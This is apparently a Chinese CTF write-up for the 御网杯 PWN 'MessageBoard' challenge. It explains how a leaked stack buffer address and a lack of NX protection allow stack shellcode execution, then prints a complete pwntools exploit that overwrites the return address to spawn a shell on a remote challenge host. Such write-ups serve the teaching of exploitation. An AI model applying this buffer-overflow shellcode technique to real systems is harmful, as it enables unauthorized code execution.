看板娘加载中
171 字
1 分钟
御网杯 PWN MessageBoard

附件:PWN-MessageBoard.docx

题目附件截图:

截图 1

题解记录:

已知 buf 的地址,而且没有 NX 保护,可以直接往栈上写入 shellcode,然后把返回地址改成 buf,跳转到栈顶执行。

原始 WP 中给出的 exp:

from pathlib import Path
from pwn import *
context(os="linux", terminal=["cmd.exe", "/c", "start"])
binary_path = str(Path(__file__).resolve().with_name("pwn"))
host = "47.99.147.34" # 网址
port = 20056 # 端口
elf = ELF(binary_path, checksec=False)
context.binary = elf
if elf.bits == 64:
context.arch = "amd64"
gdbscript = """
b *main
c
"""
else:
context.arch = "i386"
gdbscript = """
b *main
c
"""
context.log_level = "debug"
if args.REMOTE:
io = remote(host, port)
else:
io = process(binary_path)
def p():
pause()
io.recvuntil(b"Buffer at: ")
buf = int(io.recvline().strip(), 16)
log.info(f"buffer = {hex(buf)}")
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x80 + 0x8, b"A") + p64(buf)
io.send(payload)
io.interactive()

后续截图:

截图 2

截图 3

御网杯 PWN MessageBoard
https://alf-ovo.cn/posts/yuwangbei-2026-pwn-messageboard/
作者
AlF
发布于
2026-05-30
许可协议
CC BY-NC-SA 4.0